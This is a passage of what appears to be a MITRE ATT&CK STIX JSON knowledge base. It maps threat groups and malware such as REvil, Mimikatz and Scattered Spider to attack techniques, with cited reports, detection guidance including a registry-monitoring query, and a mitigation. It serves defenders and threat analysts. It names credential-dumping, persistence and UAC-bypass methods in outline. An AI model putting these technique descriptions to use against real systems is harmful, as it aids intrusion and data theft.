2022)","modified":"2022-07-14T19:37:23.675Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--64d5f96a-f121-4d19-89f6-6709f5c49faa","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c30f3e0-f621-4e59-934d-f4091cb9eca5","type":"relationship","created":"2020-08-04T16:03:24.341Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Sodin July 2019","url":"https://securelist.com/sodin-ransomware/91473/","description":"Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020."},{"source_name":"Cylance Sodinokibi July 2019","url":"https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html","description":"Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020."},{"source_name":"Talos Sodinokibi April 2019","url":"https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html","description":"Cadieux, P, et al (2019, April 30). Sodinokibi ransomware exploits WebLogic Server vulnerability. Retrieved August 4, 2020."},{"source_name":"McAfee REvil October 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-crescendo/","description":"Saavedra-Morales, J, et al. (2019, October 20). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – Crescendo. Retrieved August 5, 2020."},{"source_name":"Intel 471 REvil March 2020","url":"https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/","description":"Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service – An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."},{"source_name":"Picus Sodinokibi January 2020","url":"https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware","description":"Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020."},{"source_name":"Secureworks REvil September 2019","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."},{"source_name":"Tetra Defense Sodinokibi March 2020","url":"https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis","description":"Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020."}],"modified":"2021-04-06T14:42:52.649Z","description":"[REvil](https://attack.mitre.org/software/S0496) can encrypt files on victim systems and demands a ransom to decrypt the files.(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Talos Sodinokibi April 2019)(Citation: McAfee REvil October 2019)(Citation: Intel 471 REvil March 2020)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019)(Citation: Tetra Defense Sodinokibi March 2020)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c327eb2-e0af-45c2-a9ea-784252ad34b0","type":"relationship","created":"2021-09-29T22:24:15.747Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-239A BeagleBoyz August 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}],"modified":"2021-09-29T22:24:15.747Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has identified security software, configurations, defensive tools, and sensors installed on a compromised system.(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c33c9cd-afac-490a-b487-bd97c93a14cc","type":"relationship","created":"2020-10-27T19:26:38.329Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BLINDINGCAN Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a","description":"US-CERT. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."}],"modified":"2020-11-09T21:54:39.179Z","description":"[BLINDINGCAN](https://attack.mitre.org/software/S0520) has downloaded files to a victim machine.(Citation: US-CERT BLINDINGCAN Aug 2020)","relationship_type":"uses","source_ref":"malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1c3405bf-e044-470d-a69f-f6fa8028c2ee","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TechNet Autoruns","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T14:37:12.038Z","description":"Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns)\n\nAnalytic 1 - Modification of the HKLM\\System\\CurrentControlSet\\Services Registry key\n\n (sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode IN (13, 14) EventType= \"SetValue\" TargetObject=\"HKLM\\System\\CurrentControlSet\\Services\\*\" | where RegistryKeyPath LIKE \"%ImagePath%\" OR \n RegistryKeyPath LIKE \"%Type%\" OR\n RegistryKeyPath LIKE \"%DisplayName%\" OR\n RegistryKeyPath LIKE \"%Objectname%\"","relationship_type":"detects","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c360b2c-8004-4978-ba70-b0bb2257a791","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Turla Mosquito Jan 2018","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"}],"modified":"2020-03-20T01:55:35.008Z","description":"[Mosquito](https://attack.mitre.org/software/S0256) runs whoami on the victim’s machine.(Citation: ESET Turla Mosquito Jan 2018)","relationship_type":"uses","source_ref":"malware--92b55426-109f-4d93-899f-1833ce91ff90","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c395bb3-3b16-422f-bb00-9048b67b2337","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint ZeroT Feb 2017","description":"Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"}],"modified":"2020-03-17T02:54:39.714Z","description":"Many [ZeroT](https://attack.mitre.org/software/S0230) samples can perform UAC bypass by using eventvwr.exe to execute a malicious file.(Citation: Proofpoint ZeroT Feb 2017)","relationship_type":"uses","source_ref":"malware--4ab44516-ad75-4e43-a280-705dc0420e2f","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c3bc7ec-cabe-4c8f-9d6e-99afd877e845","type":"relationship","created":"2020-05-26T21:02:38.507Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Netwalker May 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/","description":"Victor, K.. (2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020."}],"modified":"2020-06-08T16:07:36.276Z","description":"[Netwalker](https://attack.mitre.org/software/S0457) can determine the system architecture it is running on to choose which version of the DLL to use.(Citation: TrendMicro Netwalker May 2020)","relationship_type":"uses","source_ref":"malware--754effde-613c-4244-a83e-fb659b2a4d06","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c3d2111-f234-4624-999e-ce902367c212","type":"relationship","created":"2019-04-17T18:43:36.391Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.","url":"https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/","source_name":"CheckPoint SpeakUp Feb 2019"}],"modified":"2019-04-22T20:29:31.392Z","description":"[SpeakUp](https://attack.mitre.org/software/S0374) downloads and executes additional files from a remote server. (Citation: CheckPoint SpeakUp Feb 2019)","relationship_type":"uses","source_ref":"malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1c40e6c8-1a0e-41f7-8aa7-9ae294712fbe","created":"2022-04-18T13:39:46.312Z","x_mitre_version":"0.1","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can conduct an image hijack of an `.msc` file extension as part of its UAC bypass process.(Citation: GitHub SILENTTRINITY Modules July 2019)","modified":"2022-04-18T13:39:46.312Z","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c44fd69-456d-43af-ae85-73239e295ff0","type":"relationship","created":"2021-03-25T13:53:09.037Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Google Election Threats October 2020","url":"https://blog.google/threat-analysis-group/how-were-tackling-evolving-online-threats/","description":"Huntley, S. (2020, October 16). How We're Tackling Evolving Online Threats. Retrieved March 24, 2021."},{"source_name":"Zscaler APT31 Covid-19 October 2020","url":"https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online","description":"Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}],"modified":"2021-03-25T14:49:34.842Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used GitHub to host malware linked in spearphishing e-mails.(Citation: Google Election Threats October 2020)(Citation: Zscaler APT31 Covid-19 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1c4654e5-eac8-41e1-8da9-f88cadc6cc20","created":"2024-03-25T21:16:07.144Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MSTIC Octo Tempest Operations October 2023","description":"Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-18T17:43:14.245Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) has extracted the `NTDS.dit` file by creating volume shadow copies of virtual domain controller disks.(Citation: MSTIC Octo Tempest Operations October 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c47aa23-d267-49f3-9faf-c45b6de0ad6e","type":"relationship","created":"2020-03-13T19:41:37.989Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-26T18:31:35.168Z","description":"Update software regularly to include patches that fix DLL side-loading vulnerabilities.","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c4e80fb-740d-4318-8047-0668566ce38e","type":"relationship","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.845Z","description":"Monitor for newly constructed files that are added to absolute paths of shared libraries such as LD_PRELOAD on Linux and DYLD_INSERT_LIBRARIES on macOS.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c4fd1a5-c3a4-4f71-8310-785962dc65d4","type":"relationship","created":"2021-09-28T20:02:51.487Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-09-28T20:02:51.487Z","description":"[BoxCaon](https://attack.mitre.org/software/S0651) has searched for files on the system, such as documents located in the desktop folder.(Citation: Checkpoint IndigoZebra July 2021)","relationship_type":"uses","source_ref":"malware--919a056e-5104-43b9-ad55-2ac929108b71","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c548d89-557e-4c48-9b71-8a761d94e77b","type":"relationship","created":"2019-04-22T19:39:48.825Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR19-100A","source_name":"US-CERT HOPLIGHT Apr 2019"}],"modified":"2019-04-22T19:41:53.522Z","description":"A variant of [HOPLIGHT](https://attack.mitre.org/software/S0376) hooks lsass.exe, and lsass.exe then checks the Registry for the data value 'rdpproto' under the key SYSTEM\\CurrentControlSet\\Control\\Lsa Name.(Citation: US-CERT HOPLIGHT Apr 2019)","relationship_type":"uses","source_ref":"malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1c54cdd2-576a-4ba5-9cf2-33bda233e018","created":"2024-09-23T23:08:36.279Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T23:08:36.279Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has collected emails to use in future phishing campaigns.(Citation: group-ib_redcurl1)","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c5b0ac8-43bb-4e04-812a-e3518755f84e","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Consider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c5b8ff2-400a-4e0f-a819-3cc8f1bc76b8","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://adsecurity.org/?page_id=1821","description":"Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.","source_name":"Adsecurity Mimikatz Guide"}],"modified":"2019-04-24T23:36:42.321Z","description":"[Mimikatz](https://attack.mitre.org/software/S0002)'s CRYPTO::Extract module can extract keys by interacting with Windows cryptographic application programming interface (API) functions.(Citation: Adsecurity Mimikatz Guide)","relationship_type":"uses","source_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","target_ref":"attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1c61ec55-92dd-4bab-8a1d-fcadafc17dfe","created":"2024-03-01T18:58:24.972Z","revoked":false,"external_references":[{"source_name":"Leonard TAG 2023","description":"Billy Leonard. (2023, April 19). Ukraine remains Russia’s biggest cyber focus in 2023. Retrieved March 1, 2024.","url":"https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T18:58:24.972Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) used information stealer malware to collect browser session cookies.(Citation: Leonard TAG 2023)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c69d2f9-1152-415a-9294-808886999e04","type":"relationship","created":"2021-10-13T21:34:46.782Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro KillDisk 1","url":"https://www.trendmicro.com/en_us/research/18/f/new-killdisk-variant-hits-latin-american-financial-organizations-again.html","description":"Fernando Merces, Byron Gelera, Martin Co. (2018, June 7). KillDisk Variant Hits Latin American Finance Industry. Retrieved January 12, 2021."}],"modified":"2021-10-13T21:34:46.782Z","description":"[KillDisk](https://attack.mitre.org/software/S0607) has called the Windows API to retrieve the hard disk handle and shut down the machine.(Citation: Trend Micro KillDisk 1)","relationship_type":"uses","source_ref":"malware--e221eb77-1502-4129-af1d-fe1ad55e7ec6","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c6f35f0-1169-4218-9881-7291e1765cd8","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Emissary Trojan Feb 2016","description":"Falcone, R. and Miller-Osborn, J. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/"}],"modified":"2021-08-27T14:42:00.528Z","description":"Variants of [Emissary](https://attack.mitre.org/software/S0082) have used rundll32.exe in Registry values added to establish persistence.(Citation: Emissary Trojan Feb 2016)","relationship_type":"uses","source_ref":"malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c715763-19ea-475d-9d5c-8d4434b4095f","type":"relationship","created":"2019-04-23T14:59:04.155Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2019-09-16T17:23:48.952Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) has a number of modules that use WMI to execute tasks.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1c743268-3f64-4cc6-b911-c5ebf79310a7","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-30T13:08:32.968Z","description":"Monitor for unexpected changes to cloud user accounts, such as Azure Activity Logs highlighting malicious Service Principal and Application modifications. \n\nMonitor for the use of API and CLI commands that add passwords, access keys, or tokens to accounts, such as CreateAccessKey, GetFederationToken, and CreateLoginProfile in AWS or service-accounts keys create in GCP. Also monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account. ","relationship_type":"detects","source_ref":"x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77","target_ref":"attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1c7681f4-4dc4-4722-9fcc-a79712fe502e","created":"2022-02-09T14:32:47.575Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos Kimsuky Nov 2021","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has decoded malicious VBScripts using Base64.(Citation: Talos Kimsuky Nov 2021)","modified":"2022-04-12T16:02:40.119Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1c7b9a1b-e874-4881-884a-e3c3d1fd8aed","created":"2017-05-31T21:33:27.032Z","x_mitre_version":"1.0","external_references":[{"source_name":"Cylance Cleaver","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Cleaver](https://attack.mitre.org/groups/G0003) has been known to dump credentials using Mimikatz and Windows Credential Editor.(Citation: Cylance 